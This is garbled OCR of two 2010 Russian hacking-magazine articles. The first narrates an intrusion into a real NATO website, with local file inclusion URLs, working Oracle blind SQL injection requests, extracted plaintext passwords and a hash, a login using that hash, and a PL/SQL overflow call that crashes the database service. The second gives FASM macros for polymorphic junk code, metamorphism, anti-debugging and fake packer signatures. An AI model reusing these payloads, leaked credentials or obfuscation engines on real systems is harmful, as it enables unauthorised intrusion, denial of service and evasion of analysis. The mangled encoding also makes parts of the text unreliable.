«удачно» перечисленыадминистратором веб-сайта? Ради спортивного интереса, мы все жезапустим nikto и проверим, кто выиграл:- Nikto v2.03/2.04-----------------------------------------------------+ Target IP: 62.23.200.67+ Target Hostname: www.rto.nato.int+ Target Port: 80+ Start Time: 2010-05-08 14:00:15-----------------------------------------------------+ Server: RTA Web Server- /robots.txt - contains 47 'disallow' entries whichshould be manually viewed. (GET)- Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD+ OSVDB-877: HTTP method ('Allow' Header): 'TRACE'is typically only used for debugging and should bedisabled. This message does not mean it is vulnerableto XST.- Public HTTP Methods: OPTIONS, TRACE, GET, HEAD,POST+ OSVDB-877: HTTP method ('Public' Header): 'TRACE'is typically only used for debugging and should bedisabled. This message does not mean it is vulnerableto XST.+ OSVDB-0: ETag header found on server, fields:0x7036cddda14ca1:18b2+ OSVDB-3092: GET /sitemap.xml : This gives a nicelisting of the site content.+ 3577 items checked: 49 item(s) reported on remotehost+ End Time: 2010-05-08 14:49:54 (2979 seconds)-----------------------------------------------------+ 1 host(s) testedTest Options: -Cgidirs all -vhost www.rto.nato.int-host www.rto.nato.int www.rto.nato.int-----------------------------------------------------XÀÊÅÐ 08 /139/ 10 051


ВЗЛОМНет, конечно, такого файла в Windows нет, зато ошибка LFI в скрипте естьВыиграл все-таки администратор сайта (еще бы, он точно знает просайт больше, чем nikto :)), выразим ему благодарность за отличныйсправочник по скрытым страницам. Так, например, запись webmai l.a sp дает нам доступ к внутренней почтовой системе, а записьDetail.asp без всяких сканеров подсказывает нам проверить уязвимостиввода в соответствующем сценарии веб-сервера.Параллельно ползая по сайту и проверяя все «disallow» записи вrobots.txt, подключим webscarab. В его журналах после хождения по«сайтам» часто встречаются неожиданные «вкусности», о которыеможно почесать зубы sqlmap'у и w3af'у. Только заговорили об этом,и тут же — хлоп, центральный скрипт, который принимает занимательныйпараметр «topics». Очень интересным он оказывается, еслиподставить в качестве топика этот же самый скрипт:http://www.rto.nato.int/Main.asp?topic=Main.aspПри этом, если файл имеет расширение .ASP, то он интерпретируется(например, если мы подставим «Main.asp» в качестве параметраÑÅÒÅÖÅÍÒÐÈ×ÅÑÊÈÅ ÂÎÉÍÛОнлайн-трансформер бинарных данных в BASE64и обратноКонцепция «сетецентрической войны» появилась в США в начале1990-х годов. В соответствии с данной концепцией предусматриваетсявнедрение в войска передовых информационных технологийдля того, чтобы объединять рассредоточенные в обширном боевомпространстве разнородные силы и средства (личный состав, органыи пункты управления, боевого обеспечения, вооружение и военнуютехнику наземного, воздушного и морского базирования). Объединениедолжно происходить информационно — с формированиемсложной сетевой архитектуры, с подключением к сети интернет.Американцы ожидают, что боевая эффективность формирования ссетевой архитектурой по сравнению с существующими возрастетмногократно. Иными словами, обмен данными между потребителямибудет осуществляться в реальном масштабе времени нетолько «по вертикали», но и «по горизонтали». Таким образом, всеучастники смогут получить всестороннюю информацию о состояниина поле боя. Концепция ведения боевых действий в едином информационномпространстве предполагает создание системы передачиданных, обеспечивающей покрытие необходимой территориитеатра военных действий в любое время.052topic, то веб-сервер уйдет в бесконечный цикл, демонстрируя намзазеркалье — бесконечные вложения Main.asp в самого себя, а еслимы укажем только что найденный «pfp.ppt», то получим его бинарноесодержимое.Еще одна мелочь... в нашу свинскую копилку. Тебе, наш дорогой читатель,мы оставляем возможность попробовать комбинации следующеговида:http://www.rto.nato.int/Main.asp?topic=../../../../../../../../../../../etc/passwdORACLE ÂÑÅÌÎÃÓÙÈÉ, ORACLE ÍÅÏÎÁÅÄÈÌÛÉУже очень долго существует миф о том, что веб-приложения, построенныес бек-эндом в виде СУБД Oracle, неуязвимы к такиматакам как SQL-инъекции и XSS. Миф о невозможности инъекции вOracle появился из-за функции базы данных использовать меткузаполнитель— при подготовке запроса оператор указывает места(именуя или нумеруя их), где будут впоследствии размещены входныеданные SQL-запроса. Но на то он и миф, чтобы его кто-нибудь раз-XÀÊÅÐ 08 /139/ 10


Мы внутри и можем посмотреть на Военную Тайну!Главная страница сайта НАТО с Главной ВоеннойТайной внутрирушил (правильное понимание причин появление уязвимости — вотзалог возможности разрушения стереотипов). Проблемы с возможностьювозникновения SQL-инъекции на самом деле заложеныне столько в базе данных, сколько в программе-оболочке, котораяреализует взаимодействие с пользователем. Для проверки достаточноведь использовать несколько простых приемов. Например, добавлятьк параметрам строку вида «+or+chr(77)=chr(77)». Использование функцииchr() позволяет избежать указания одинарных кавычек, которыенещадно фильтруются.Именно это является причиной возникновения возможности проведения«слепой» инъекции на сайте RTO. Вот, например, запрос с такойинъекцией:ìåòîä «íàó÷íîãî òûêà»:ðàáîòàåì ñ ÑÓÁÄ Oracle:http://www.rto.nato.int/Detail.asp?ID=-1+or+chr(77)=chr(77)http://www.rto.nato.int/Detail.asp?ID=-1+or+1=(SELECT+1+FROM+DUAL)Собственно, с помощью этой уязвимости мы и узнали, что сзади(backend) установлена СУБД Oracle, а не MySQL или SQLite (кстати,в ней тоже возможно провести SQL-инъекцию — мы писали об этомв майском номере). Видимо, НАТОвские программисты слишком положилисьна безопасность Oracle и забыли элементарные правилабезопасного секса. А зря! Одна только книжка про оракловский аудитот Ильи Медведовского и его сотрудников чего только стоит.Слепая инъекция, конечно, потребовала от нас некоторых усилийпо автоматизации процесса. Благо, бабушкина подшивка журнала«Хакер» за прошлый год помогла — в ней оказалось все, что нужнодля создания скриптов на Perl. Мы даже смогли быстро составитьдва запроса — один определяет длину строки, которую мы хотим«вытащить» из базы данных, а второй вытаскивает один символ изэтой строки:а) запрос для получения длины строки:http://www.rto.nato.int/Detail.asp?ID=-1+OR+(select+length(table_name)+from+user_tables+where+'%ÇÄÅÑÜ ÓÑËÎÂÈÅXÀÊÅÐ 08 /139/ 10б) запрос для получения строки (здесь конкретно — имени столбца вуказанной таблице):ÇÀÏÐÎÑÀ%'+AND+rownum=1)=%ÇÄÅÑÜ ÄËÈÍÀ, ÊÎÒÎÐÓÞ ÏÐÎÂÅ-ÐßÅÌ%http://www.rto.nato.int/Detail.asp?ID=-1+OR+(select+substr(column_name,%ÇÄÅÑÜ ÏÎÇÈÖÈß ÑÈÌÂÎËÀ ÈÌÅÍÈ ÑÒÎËÁÖÀ%,1)+from+all_tab_columns+where+table_name='.%ÇÄÅÑÜ ÈÌß ÒÀÁËÈÖÛ%.'+AND+'%ÇÄÅÑÜ ÓÑËÎÂÈÅ ÇÀÏÐÎÑÀ%'+AND+rownum=1)=chr(%ÍÎÌÅÐ ÑÈÌÂÎËÀ%)Для того, чтобы получить только первую строку с данными из всегозапроса, мы воспользовались ключевым словом rownum диалектаSQL-базы данных Oracle, с помощью которого можно определятьусловие над уже собранным набором строк с выходными данными.Использование всевозможных технологий ускорения «слепого» перебораоставляем для тренировки :). Есть, правда, один очень большойминус — это количество таблиц (в том числе служебных) в базахOracle. Вслепую вытаскивать всю схему таблиц — титанический труд,поэтому мы интересовались только таблицами, в названии которыхесть магическое слово «PASSWORD». На рисунке приведена схема cнаиболее интересными таблицами и столбцами. На диске к журналу тынайдешь скрипты, которыми можно пополнить эту схему :).Среди довольно большого набора таблиц наиболее интереснымикажутся вот эти:RTO_MEMBERS.MEMBER_PASSWORDRTO_PANEL.PANEL_PASSWORDUSER_DB_LINKS.PASSWORDCONTACTLOGIN.CLO_PASSWORDAPPLICATIONLOGIN.PASSWORDCONTACT.CLO_PASSWORDЗначения данных, которые в них хранятся, впечатляют не меньше, чемоперация «Анаконда» коалиционных войск в Афганистане.USERNAME: RTAMASTERPASSWORD: droopyDB_LINK: TEST.RTA.INTUSERNAME: WISE053


ВЗЛОМЗазеркалье — бесконечное вложение Main.asp в себя самогоPASSWORD: BUGSBUNNYDB_LINK: WISE_LINK........[DBG: FOUND SYMBOL 'A' - 65]DB RTA-CSAВпрочем, хранить пароли в открытом виде свойственно многимбольшим умам. Кроме того, нас больше интересуют пароли, которыеможно использовать для входа в закрытую часть сайта. Используемдревнегреческое знание о двоичном поиске и запустим наш скриптслепого перебора:DB Scanning table rto_panel..........[DBG: FOUND NUMBER 29.]DB NUMBER OF ROWS FOUND: 29Getting row 1DB getting panel_webname.......[DBG: FOUND NUMBER 1.].........[DBG: FOUND SYMBOL ' ' - 32]DBDB getting panel_password.......[DBG: FOUND NUMBER 16.]........[DBG: FOUND SYMBOL 'õ' - 245]........[DBG: FOUND SYMBOL '¿' - 191]. . ..........[DBG: FOUND SYMBOL '$' - 36].........[DBG: FOUND SYMBOL '¨' - 168]DB õ¿É)z54


Упс! Минус один Главный сайтмечательная функция pw2md5(in_pw, out_md5), которая и вызываетсяпри отправке логина и пароля обратно на сайт:. . .. . .function sendData(){var FORM = document.frmlogon;pw2md5(FORM.MemberMatkhau,FORM.MemberMatkhau);return true;}Теперь посмотрим на саму функцию pw2md5(). Она принимает на входпароль в чистом виде, вычисляет MD5 от него, конвертирует полученноебинарное 16-байтовое значение в BASE64-представление изаписывает в выходной параметр.md5.js:/** A JavaScript implementation of the RSA DataSecurity, Inc. MD5 Message* Digest Algorithm, as defined in RFC 1321.* Version 2.1 Copyright (C) Paul Johnston 1999 -2002.* Other contributors: Greg Holt, Andrew Kepert,Ydnar, Lostinet* Distributed under the BSD License* See http://pajhome.org.uk/crypt/md5 for more info.*/. . .. . ./** Util method added by minhnn*/function pw2md5(password, md5password) {md5password.value = b64_md5(password.value) + "==";// password.value = "";}Такой изумительный карточный расклад означает, что нам НЕ НУЖНОвзламывать хеши MD5! Вместо этого мы можем просто подставитьзначение из базы данных прямо в форму отправки! Для этого воспользуемсяонлайн-трансформером BASE64, предварительно сделавбинарный файл с байтами MD5 хеша одного из пользователей.Используя motobit.com, получаем следующие данные:USERNAME: ISTPASSWORD: AD2F38AEE7B3162D832624DA76983CD2BASE64: rS84ruezFi2DJiTadpg80g==XÀÊÅÐ 08 /139/ 10Дальше нам очень пригодится веб-браузер Mozilla Firefox и его компонентTamperData, чтобы подставить налету в POST-запрос вместообычных MD5 свои данные, честно подсмотренные в базе. Это довольнотривиальный процесс, посмотреть на примеры можно в документациик компоненту TamperData... Подставляем, проверяем, давимкнопку «Послать»... и, как говорится в анекдоте, «детей не люблю, носам процесс!». Итак, мы внутри!ÑÎËÄÀÒ, ÂÛÉÒÈ ÈÇ ÑÒÐÎß!Все бы ничего, если бы нас не жгла мысль о том, что слепой SQL —это не что иное, как консоль к базе данных. Ведь с СУБД Oracle можнотворить такое, что никакому SQLite и MySQL и не снилось (здесь мыулыбаемся и машем Александру Полякову, автору книги «БезопасностьOracle глазами аудитора», а также iDefense Labs, — не знаю,кто был первый в обнаружении этой уязвимости). Наш уважаемыйколлега описывает, как можно использовать доступ к процедуре XDB.XDB_PITRIG_PKG.PITRIG_DROPMETADATA, доступной для выполнениялюбому пользователю базы данных. Используя эту уязвимость в10g можно вызвать переполнение буфера, и служба Oracle аварийнозавершит свою работу. Так что, как только нам надоест баловаться сдоступом к закрытым секциям сайта, мы делаем следующее:declarea varchar2(32767);b varchar2(32767);begina:='XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX';b:='YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY';a:=a||a; a:=a||a; a:=a||a; a:=a||a; a:=a||a;a:=a||a;b:=b||b; b:=b||b; b:=b||b; b:=b||b; b:=b||b;b:=b||b;XDB.XDB_PITRIG_PKG.PITRIG_DROPMETADATA(a, b);end;После того, как мы запишем этот вызов в одну длинную строку запросаи вставим на место нашей слепой инъекции, мы сможем увидеть воттакую картинку.ÊÎÍÅÖ ÑÂÅÒÀРазговоры про сетецентрические войны и ведение информационнойвойны — это, конечно, хорошо. Однако опыт показывает, что простыхразговоров мало — уж если мы анализируем сайты наших НАТОвских«союзников», то и они, наверное, от нас не отстают. На этом фонеочень огорчает наличие аналогичных проблем с безопасностью на нашихотечественных государственных сайтах. Вот, например, на сайтеФедеральной службы технического и экспортного контроля (которая соследующего года будет защищать наши персональные данные), присутствуютвсе те же «мелкие» проблемы.Да чего уж, если порно-ролики на дорожных биллбордах Садовогокольца хакеры крутят :). Но, все-таки, хотя бы законодатели в областиинформационной безопасности должны относиться к своим ресурсамответственно. Иначе на кого же мы будем равняться? z055


ВЗЛОМ«HellMilitia» and «my Death» icq 884888, http://snipper.ruÌÓÒÀÖÈß ÊÎÄÀ ÂÎ ÂÐÅÌßÊÎÌÏÈËßÖÈÈÎäíàæäû, ïîñëå íàïèñàíèÿïðîãðàììû, êîòîðóþ ÿ õîòåëñäåëàòü ïëàòíîé, ÿ çàäóìàëñÿî âîïðîñå åå çàùèòû. Ïèñàòüíàâåñíîé ïðîòåêòîð æåëàíèÿíå áûëî, äà è âðåìåíè òîæå.Âîçìîæíî ëè ñäåëàòü÷òî-òî ñðåäñòâàìè êîìïèëÿòîðàFASM, âåäü ó íåãî ìîùíåéøèéìàêðîÿçûê? ýòîé ñòàòüå ÿ ðåøèë îïèñàòü,÷òî âûøëî èç ìîèõýêñïåðèìåíòîâ. Çäåñü íà ïðîñòûõïðèìåðàõ áóäóò îïèñàíû ìåòîäûïîëèìîðôèçìà, ïåðìóòàöèè,ìåòàìîðôèíãà è îáôóñêàöèèáèíàðíîãî êîäà.Итак, мне кажется, я добился отличных результатов, ведь у меня сблеском получилось реализовать: полиморфизм (генерация мусорногокода), метаморфинг (замена инструкций аналогами), пермутацию(случайное перемешивание блоков кода с сохранением функционала илогики работы), обфускацию (метод запутывания логики кода, противодействиеанализу), контроль целостности кода (для защиты от изменения,patch'ей), шифрование кода и данных. Рандомизация кода служитдля защиты от автоматических распаковщиков, анализаторов, патчей,обфускация — для запутывания исследователя; при достаточной обфускациианализ программы может затянуться на долгие месяцы... Хватитболтовни, приступим!0XBA11EE PRNGПервоначально следует написать генератор псевдослучайных чисел —сердце любого движка рандомизации кода. Генератор я взял простой,наподобие ANSI C, для моих целей его вполне хватало.та же последовательность чисел. После недолгих раздумий и чтенияофициального форума, я нашел значение, которым можно завести генератор— это timestamp, UNIX-время. Получить его можно вот такимобразом: randseed = %t. Генерировать случайное число, к примеру,в диапазоне 0 - 0xDEAD, теперь можно так:randomizerandom_number = rndnum mod 0xDEAD - 10XBADC0DE ÈËÈ ÃÅÍÅÐÀÖÈß ÌÓÑÎÐÀДля начала, попробуем написать макрос для генерации простойинструкции — int. Состоит int из двух байт — опкода 0xCD и номерапрерывания, который и будет случаен. Получаем номер прерывания:randomizeint_val = rndnum mod 0xFFrndseed = 100500macro randomize {randseed = randseed * 1103515245 + 12345randseed = (randseed / 65536) mod 0x100000000rndnum = randseed and 0xFFFFFFFF}Работает он исправно, но, так как инициализирующее значение постоянно,каждый раз, при каждой компиляции будет выдана одна иДалее пишем следующую незаурядную конструкцию:db 0xCDdb numПока все просто. Оформив эти 4 строки в отдельный макрос gen_int ивызвав несколько раз, убеждаемся с помощью отладчика или дизассемблера,что код действительно случайный: rept 7 { gen_int }.И вот что получилось:056 XÀÊÅÐ 08 /139/ 10


macro freereg {RREG = NOREGwhile (RREG = RESP) | (RREG = REBP) | (RREG = -1)| (RREG = USEDREG1) | (RREG = USEDREG2)randomizeRREG = rndnum mod 8end while}Затаившийся в бинарном мусореантиотладочный трюкcd78 | int 0x78cda6 | int 0xa6cdb4 | int 0xb4cd36 | int 0x36cdec | int 0xeccd6a | int 0x6acd68 | int 0x68Метод rept fasm'а выполняет код указанное количество раз. По-моему,начало более чем хорошее, нас ждет много интересного. Давай теперьрассмотрим генерацию инструкции lea; здесь я хочу осветить несколькоаспектов. Сперва нужно завести константы, соответствующие регистрам:Регистры Esp и Ebp не трогаем, дабы не сорвать стековый фрейм. Этопервое, что я хотел осветить. Чтобы код был похож на произведенныйнормальным компилятором (дабы не показывать сразу исследователю,что его водят за нос), следует немного ограничивать фантазию. Приведупример на инструкции lea, которая, как известно, используется дляполучения\вычисления адреса. Принимающий регистр будет случайным,а как быть со вторым операндом? Возьмем значение в диапазонеEntry Point - (Entry Point + размер секции кода), ну или, для простоты,возьмем значение 0x1000. Для большего соответствия с нормальнымкодом следует брать адреса из секции данных. Макрос, генерирующийинструкцию lea по правилам, описанным ранее:macro gen_lea {freeregreg = (RREG * 8) + 5randomizeaddress = (rndnum mod ((ENTRY_POINT + 0x1000 + 1)- ENTRY_POINT)) + ENTRY_POINTdb 0x8Ddb regdd address}REAXRECXREDXREBXRESPREBPRESIREDI= 0 ; AL= 1 ; CL= 2 ; DL= 3 ; BL= 4 ; AH= 5 ; CH= 6 ; DH= 7 ; BHЧтобы не нарушить работу кода, следует учитывать занятые регистры.Заведем переменные, хранящие их:NOREG = -1USEDREG1 = NOREGUSEDREG2 = NOREGRREG= NOREGКонстанту ENTRY_POINT объявляем заранее:entry start...start:ENTRY_POINT = $Или, что предпочтительнее: ENTRY_POINT = $$. Итог работы макроса,вызванного несколько раз:8d3db10a4000 | lea edi, [0x400ab1]8d154c044000 | lea edx, [0x40044c]8d1d68054000 | lea ebx, [0x400568]8d05e7024000 | lea eax, [0x4002e7]8d15db0e4000 | lea edx, [0x400edb]8d15670f4000 | lea edx, [0x400f67]Их может быть сколько угодно — зависит от логики работы программы,логики работы генератора и строения блока кода. Ниже представленмакрос, генерирующий случайный регистр, не учитывая занятые. Использоватьбудем только как источник.macro rndreg {RREG = NOREGwhile (RREG = NOREG) | (RREG = RESP) | (RREG = REBP)randomizeRREG = rndnum mod 8end while}В принципе, можно включить в варианты и Esp Ebp регистры, но мне захотелосьтак. Теперь макрос, генерирующий случайный незанятый регистр:Как видишь, код случаен, и не бросается в глаза необычностью.Теперь не мешало бы объединить написанные макросыв один и построить код так, чтобы его было легко изменятьили добавлять в него новые методы генерации инструкций, нодля начала напишем еще один макрос для генерации FPUинструкций:macro gen_fpu {randomizetype = rndnum mod 0x2Fdb 0xD8db 0xC0 + type}Проверим:XÀÊÅÐ 08 /139/ 10 057


ВЗЛОМXOR_KEY, между прочим, тоже следует сделать случайным.randomizeXOR_KEY = rndnum mod 0xFFКод перед морфингомd8d1 | fcom st0, st1d8c9 | fmul st0, st1d8d4 | fcom st0, st4d8ed | fsubr st0, st5d8d6 | fcom st0, st6d8c2 | fadd st0, st2Отлично! Теперь группируем, создаем макрос gen_trash, принимающийпараметром количество генерируемых инструкций. Улучшить этот макросможно, сделав параметром не количество инструкций, а максимальныйразмер в байтах. Еще лучшим ходом будет параметр, являющийся пределомслучайному количеству инструкций/размеру в байтах. Реализуемпервый, упрощенный, но немного уступающий другим вариант:macro gen_trash length {repeat lengthrandomizevariant = randseed mod VARIANTSif variant = 0gen_leaelse if variant = 1gen_fpuend ifend repeat}Теперь для генерации 10 случайных инструкций указываем в коде:gen_trash 10. Следует расширить этот макрос, что не составиттруда. Добавляй как можно больше инструкций\вариантов: ветвления;статистику повторения инструкций; порядок следования (кучаFPU-инструкций вперемешку с обычным кодом — это подозрительно,ты не находишь? Или десяток инструкций lea, идущих подряд? А бесконтрольныйгенератор вполне может творить такое). Идей в процесседолжно возникать великое множество — пробуй все, что придет вголову, не ограничивай себя. Теперь пара слов об использованиимакроса gen_trash. Сделаем простой расшифровщик, разбавленныймусором:gen_trash 15mov eax, .CodeStartUSEDREG1 = REAXgen_trash 27mov ecx, CodeSizeUSEDREG2 = RECXgen_trash 20.again:xor byte[eax], XOR_KEYgen_trash 37inc eaxgen_trash 10loop .againgen_trash 43058При большом количестве мусора и при достойном его качестве не такпросто будет разобраться, что же в коде происходит, и как отделить егоот мусора. Улучшить генератор можно, добавив работу с локальными\глобальными переменными, различные переходы, ветвления, процедуры,различные варианты инструкций, сложные инструкции видаlea eax,[ ecx*4+100 ]... Но — главное!.. Самое главное — не забывай,что код должен быть схожим с генерируемым нормальным компилятороми одновременно хитрым, запутанным. Изучи частоту повторенийинструкций в распространенных или входящих в состав операционнойсистемы программ, а затем примени эту статистику в своем генераторе.0XACED1A ÀÍÒÈÎÒËÀÄÊÀНи одна защита кода просто не представляется без антиотладочныхтрюков. Добавим и мы, но будем хитрее. Сделаем вставку случайногоантиотладочного трюка в случайном месте, то есть просто добавим кмакросу gen_trash, и трюк будет генерироваться наравне с инструкциями.Простой пример — если отладчик обнаружен, выполняетсяпереход на случайный адрес в пределах секции кода.macro adbg {randomizevariant = rndnum mod Nrandomizedestination = (rndnum mod ((ENTRY_POINT + 0x1000)- ENTRY_POINT)) + ENTRY_POINTif vatiant = 0invoke IsDebuggerPresenttest eax,eaxjnz $+destinationelse if variant = N.....}Также трюки следует разбавлять мусором. Добавляй больше антиотладки— больше сюрпризов исследователю.0XACE ÈËÈ ÐÀÍÄÎÌÈÇÀÖÈß API-ÂÛÇÎÂÎÂПомимо бинарного мусора, код следует сделать высокоуровневым.Вполне послужит для этого Windows API. Функции могут не нестисмысла, а могут быть и неотъемлемой частью программы. Простойпример вставки случайного API-вызова:macro gen_trash_api {randomizeRandomParam1 = rndnum mod 0xFFFFFFFFrandomizeRandomParam2 = rndnum mod 0xFFFFFFFFrandomizevariant = rndnum mod 4if variant = 0invoke IsBadReadPtr,RandomParam1,RandomParam2else if variant = 1invoke IsBadWritePtr,RandomParam1,RandomParam2else if variant = 2invoke IsBadCodePtr,RandomParam1else if variant = 3invoke GetLastErrorend if}Не стоит забывать, что API-функции не сохраняют регистры Eax, EcxXÀÊÅÐ 08 /139/ 10


Обфусцированный movКод после морфингаи Edx. Сохраняй значения этих регистров, если в них содержатсяи используются важные значения. Вставим вызов этого макроса вgen_trash. Подключи фантазию; вызовы функций не обязательнодолжны быть одиночными, высокоуровневый мусор должен взаимодействоватьс бинарным — не подкопаешься. Неплохо будет эмулироватьнекоторые функции, то есть реализовать их код у себя. Вызов илииспользование своего кода являются вариантами, пример:macro GetLastError {rndvariant = rndnum mod 2if variant = 0mov eax,[fs:18h]mov eax,[eax+TEB.LastError]else if variant = 1invoke GetLastErrorend if}0XA11A5, ÈËÈ ÌÅÒÀÌÎÐÔÈÍÃМетаморфинг я реализовал как замену инструкций своими функциональнымианалогами. FASM позволяет переопределять инструкциимакросами, что очень удобно. Возьмем, к примеру, инструкцию movreg32_1, reg32_2. Какие могут быть аналоги? Первое, что приходит вголову (вообще их можно придумать великое множество):push reg32_2pop reg32_1push reg32_2mov reg32_1,[esp]add esp,4push reg32_2xchg reg32_1,reg32_2pop reg32_1Примени фантазию, не следуй шаблонам, и за небольшой промежутоквремени можно будет написать достаточное количество аналогов длявсех инструкций. Напишем макрос, переопределяющий инструкциюmov. Обязательно проверяем, что аргументы являются регистрами, таккак у нас есть замена только этого варианта:macro mov arg1,arg2 {if (arg1 eqtype eax) & (arg2 eqtype eax)rndvariant = rndnum mod 4if variant = 0push arg2pop arg1else if variant = 1}Проверяем:push arg2mov arg1,[esp]add esp,4else if variant = 2push arg2xchg arg1,arg2pop arg2else if variant = 3mov arg1,arg2end ifelsemov arg1,arg2end ifmov eax,ecxmov ecx,ecxmov edx,espИтог:51 | push ecx91 | xchg ecx, eax59 | pop ecx89e5 | mov ebp, esp53 | push ebx59 | pop ecxЗамечательно, не правда ли? Добавив как можно больше инструкцийи вариантов замены, можно добиться замечательных результатов.0XAB1E, ÈËÈ ÏÅÐÌÓÒÀÖÈßЗдесь все тоже предельно просто и дает мощный результат. Нам нужноизменить расположение некоторых блоков кода без изменения функциональностии без повреждения кода. Для начала за блоки возьмемпроцедуры, далее эти блоки следует максимально уменьшить. Надспособом случайного изменения блоков кода я недолго думал, возможно,есть более изящное решение — подумай. Суть такова: каждую процедуруоборачиваем в макрос, создаем для нее переменную — флаг,сигнализирующий об использовании, дабы не вставлять процедурынесколько раз. Например (пермутируем три процедуры, скелет), кодглавной структуры теперича выглядит так:fproc_1 = 0fproc_2 = 0...entry $;êîä ãëàâíîé ïðîöåäóðû...while (flag_1 = 0) | (flag_2 = 0)randomizesequence = rndnum mod 2if sequence = 0if flag_1 = 0proc_1XÀÊÅÐ 08 /139/ 10 059


ВЗЛОМRAZ0R HTTP://RAZ0R.NAMEПосле патча контрольная сумма отличалась всеголишь на один байт, и теперь переход выполнен нетуда, куда надоflag_1 = 1end ifelse if sequence = 1if flag_2 = 0proc_2flag_2 = 1end ifend ifend whilemacro proc_1 {proc AnyProcedure1...retendp}macro proc_2 {proc AnyProcedure2....retendp}Проверив этот код, убеждаемся, что процедуры выставляются какнадо, случайно, код не портится.0XDEFACED, ÈËÈ ÎÁÔÓÑÊÀÖÈß: ÄÈÍÀÌÈ×ÅÑÊÎÅÂÛ×ÈÑËÅÍÈÅ ÀÄÐÅÑÎÂОдин из способов противодействия дизассемблерам и обману анализаторов— динамическое вычисление адресов переходов или адресовпеременных. Пример, как можно вычислять адрес:push label - valueadd [esp],valuejmp [esp]....label:add esp,4; èçáàâëÿåìñÿ îò íåíóæíîãîСледует сделать случайными алгоритмы вычисления, варианты реализацииалгоритма, и, естественно, значения для модификации. Примерамиэтого станут представленные ниже макросы o_jmp и olabel:macro o_jmp destination {randomizevariant = rndnum mod 2if variant = 0randomizevalue = rndnum mod IMAGE_BASE060push destination - valueadd [esp],valuejmp [esp]else if variant = 1randomizevalue = rndnum mod (0xFFFFFFFF - IMAGE_BASE- 0x1000)push destination + valuesub [esp],valuejmp [esp]end if}macro o_label name {label nameadd esp,4}Итог работы макросов:68001127b6 | push dword 0xb6271100812c249b10e7b5 | sub dword [esp], 0xb5e7109bff2424| jmp dword near [esp]31c0| xor eax, eax83c404| add esp, 0x431c0| xor eax, eaxБез трассировки и не узнаешь, куда ведет переход, следовательно,статический анализ обламывается. Здесь также стоит учитывать занятые\свободныерегистры в генераторе мусора, так как постоянноеиспользование Esp ставит клеймо на способе, да и само по себе накладно.Еще одной неплохой уловкой является вставка переходов наданные, но переходы эти никогда не выполняются (или выполняютсятолько при наличии отладчика). Это сбивает с толку анализаторы, иони пытаются дизассемблировать данные. Пример макроса:macro facke_code_ref data_addr,jmp_addr {xor eax,eaxinc eaxjnz jmp_addrcall data_addr;trash}В итоге адрес data_addr будет анализироваться как код.0XA55 — ÇÀØÈÔÐÎÂÊÀ ÊÎÄÀ\ÄÀÍÍÛÕЗамечательными функциями макроязыка FASM, отличающими егоот других макроассемблеров, являются load и store. Использовать ихможно для шифрования кода или данных. Простой пример, для шифрованияиспользуется xor:macro xor_data start,length,key {repeat lengthload x from start+%-1x = x xor keystore x at start+%-1end repeat}Очень полезный макрос, я его использовал для зашифровки строковыхданных. Пример использования:randomizeXOR_KEY = rndnum mod 0xFFxor_data strings, strings_size, XOR_KEYstrings:XÀÊÅÐ 08 /139/ 10


Взгляд на многообещающее будущее через окноradareany_string db 'Mate.Feed.Kill.Repeat'strings_size = $ - strings0XABA51A, ÈËÈ ÊÎÍÒÐÎËÜ ÖÅËÎÑÒÍÎÑÒÈ ÊÎÄÀВычислив на стадии компиляции контрольные суммы участков кода,можно защититься от модификации, пересчитывая и проверяя при выполненииэти суммы. Также подобным образом можно детектироватьтрассировку посредством вставки в код прерывания int3, как делаютмногие отладчики. Макрос, вычисляющий crc32 сумму блока кода:CRC32_SUM = 0macro calc_crc32 start, size {local b,cc = 0xffffffffrepeat sizeload b byte from start+%-1c = c xor brepeat 8c = (c shr 1) xor (0xedb88320 * (c and 1))end repeatCRC32_SUM = c xor 0xffffffff}Хочу заметить, что операции вида if(original_hash != current_hash) Error() абсолютно бесполезны! Хотя используются повсеместно,даже в крутых протекторах. А вот нечто подобное:mov eax,address + original_hashsub eax,current_hashcall eaxСовсем другое дело. Двух зайцев сразу: обфускация — динамическое вычислениеадреса перехода, и контроль целостности кода, то есть, если кодбыл каким-либо образом изменен, будет выполнен переход кот знает куда.0XACCEDE, ÈËÈ ÎÁÌÀÍ ÀÍÀËÈÇÀÒÎÐÎÂАнализаторы исполняемых файлов вроде PEiD используют сигнатурныйпоиск, в базе находятся цепочки байт, которые встречаются впопулярных протекторах\упаковщиках. Для того, чтобы сбить с толкувзломщиков своей программы, я создал макрос, добавляющий в EntryPoint программы случайную сигнатуру. Воспользовавшись вышеупомянутыманализатором или его аналогом и получив ложный результат,взломщик попытается распаковать программу либо автоматическимраспаковщиком, либо вручную, следуя описанию. И, конечно же, ничегоне получится, кроме тяжелого ступора.macro facke_sign {randomizevariant = rndnum mod Nif vatiant = 0;PE Protect 0.9 -> Christoph Gablerpush edxpush ecxpush ebppush edidb 0x64, 0x67, 0xA1, 0x30, 0x00;FASM ãåíåðèðóåò äëèííûé ôîðìàò èíñòðóêöèèРезультат работы немного расширенного макроса};mov eax,[fs:0x30], ïîýòîìó çàïèñàë òàêèì îáðàçîìtest eax,eaxjs @f+1call .end.signpop eaxadd eax,7db 0xC6nopret@@:db 0xE9,0x00,0x00,0x00,0x00.end.sign:else if variant = 1;CD-Cops II -> Link Data Securitypush ebxpushadmov ebp,0x90909090lea eax,[ebp-0x70]lea ebx,[ebp-0x70]call $+5lea eax,[ecx]db 0xE9,0x00,0x00,0x00,0x00...else if variant = N...0XAD105. ÇÀÊËÞ×ÅÍÈÅГрамотное использование и комбинирование описанных мною техникпозволяет сделать серьезную защиту. Это и очень удобно: написав,отладив программу, с минимальными правками исходного кода превращаемее в неприступный бастион. После того, как я написал свойнабор макросов, протестировал и применил их к своей программе,мне пришла в голову еще одна замечательная идея. Данный методя еще и автоматизировал следующим способом: поместил на серверисходный код программы и компилятор FASM, при запросе пользователемtrial-версии программы она автоматически компилируется;таким образом получается, что каждому пользователю выдаетсяуникальная версия программы. Универсальные взломщики (патчеры,crack'и и т.п.) просто бессильны — придется ломать каждую копиюотдельно. А это ведь непросто, учитывая, что весь код изменен, а некак у навесных протекторов, только «сверху». Мне, как разработчику,остается только чаще обновлять исходники и совершенно не волноватьсяо том, что мою программу могут взломать. Так что, open youreyes, open your mind! zXÀÊÅÐ 08 /139/ 10 061


